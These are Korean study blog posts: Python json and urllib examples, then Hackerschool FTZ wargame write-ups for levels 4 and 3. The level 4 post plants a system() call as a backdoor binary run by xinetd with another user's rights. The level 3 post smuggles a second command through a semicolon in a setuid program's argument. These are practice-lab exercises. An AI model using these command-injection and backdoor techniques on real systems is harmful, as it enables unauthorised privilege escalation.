반응형

개인공부용이라 간단히올려요 :)

JSON 정의 (<출처 : 위키사전>)

인터넷에서 자료를 주고받을 때 그 자료를 표현하는 방법이다. 자료의 종류에 큰 제한은 없으며, 특히 컴퓨터 프로그램변수값을 표현하는 데 적합하다. 그 형식은 자바스크립트의 구문 형식을 따르지만, 프로그래밍 언어플랫폼에 독립적이므로 C, C++, C#, 자바, 자바스크립트, , 파이썬 등 많은 언어에서 이용할 수 있다.

Python에서의 JSON 예제

#data, data2, data3  비교형식으로 작성함

>>> import json                      
>>> data = {1:'a',2:'b'}
>>> data2 = json.dumps(data)
>>> data3 = json.loads(data2)
>>> type(data)
<type 'dict'>
>>> type(data2)
<type 'str'>
>>> type(data3)
<type 'dict'>
>>> print data
{1: 'a', 2: 'b'}
>>> print data2
{"1": "a", "2": "b"}
>>> print data3
{u'1': u'a', u'2': u'b'}

'Computer Languages > Python' 카테고리의 다른 글

Python에 Matplotlib 설치하는 방법  (0) 2022.06.21
Python에서 zlib 압축 푸는 방법  (2) 2016.01.25
Python에서 MySQL 연결하는 방법  (2) 2015.11.09
pydbg설치 참고 사이트  (0) 2014.11.29
urllib.urlencode  (0) 2013.01.22
반응형

======================================

개인 공부용도로 적었습니다. (나중에 까먹을까봐서 ㅋ_ㅋ)

======================================


<소스>

>>> import urllib
>>> data = {'x':'a'}
>>> data = urllib.urlencode(data)
>>> print data
x=a


data값 {'x':'a'}가 urllib.urlencode(data)공장을 지나서 x=a로 바뀌었다!!

반응형

[level4@ftz level4]$ ls

hint  public_html  tmp


[level4@ftz level4]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


/etc/xinetd.d로 이동을 하겠슴돠
[level4@ftz xinetd.d]$ ls -l
합계 84
-rw-r-----    1 root     level4        171 12월  8  2003 backdoor
-rw-r--r--    1 root     root          563  2월 25  2003 chargen
-rw-r--r--    1 root     root          580  2월 25  2003 chargen-udp
-rwxr-xr-x    1 root     root          239  2월 13  2003 cups-lpd
-rw-r--r--    1 root     root          453 12월 19  2008 daytime
(생략)...
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}
finger명령어를 입력하면 level5의 권한으로 /home/level4/tmp/backdoor을 실행시키는 겁니다.
$vi backdoor.c

#include<stdio.h>

main()
{

        system("my-pass");

}
위의 코드를 작석하셔서 backdoor로 컴파일 시켜줍니다.

 빠밤!!! get Password :)


=================

알게된 것

 #backdoor :: 시스템침투에 성공한 크래커가 쉽게 침투하기 위해 만든 뒷문

 #/etc/xinetd.d ::슈퍼데몬(자세한 사항 : http://light99.egloos.com/5142379)



'Security > [게임] F.T.Z(해커스쿨)' 카테고리의 다른 글

[F.T.Z] level3  (0) 2013.01.07
[F.T.Z] level2  (0) 2013.01.07
[F.T.Z] level 1  (0) 2013.01.07
반응형


 소스가 주어지고 2개의 힌트가 더 있네요.

===코드분석===

  #  if( argc!=2 )  //argc가 2가 아니면 프로그램을 종료하시오.

                       //파일명과 다른 인자를 입력하란 말인듯....

===힌트분석===

  # 동시에 여러명령어 사용하려면? 명령어입력 한 후 세미콜론(;)을 입력하면 된다.

  # 문자열형태 명령어전달? "문자열" 쌍따옴표를 이용한다.



언제나 그렇듯 find명령어로 파일을 찾으면 /bin/autodig가 나온다.(위의 소스는 autodig의 소스)

파일을 실행하려면 [파일명] [인자] 를 입력하는데 저희의 목적은 level4의 암호를 얻어내는 겁니다.


[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass"


bash를 실행시키고 my-pass를 입력하는 명령어를 세미클론(;)으로 한 줄에 실행했다.

위와 같이 입력하면 level4의 비밀번호를 내뿜는다 ㅋ_ㅋ


===========================

 알게된 점

  # 세미클론(;)을 이용하면 한 줄에 다수의 명령어를 입력가능

===========================


'Security > [게임] F.T.Z(해커스쿨)' 카테고리의 다른 글

[F.T.Z] level4  (2) 2013.01.07
[F.T.Z] level2  (0) 2013.01.07
[F.T.Z] level 1  (0) 2013.01.07

+ Recent posts